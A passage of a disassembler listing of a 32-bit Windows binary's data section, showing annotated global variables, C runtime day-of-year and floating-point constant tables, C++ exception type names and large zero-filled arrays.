sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o dword_4B5248 dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dword_4CB0C8 dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437830o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; 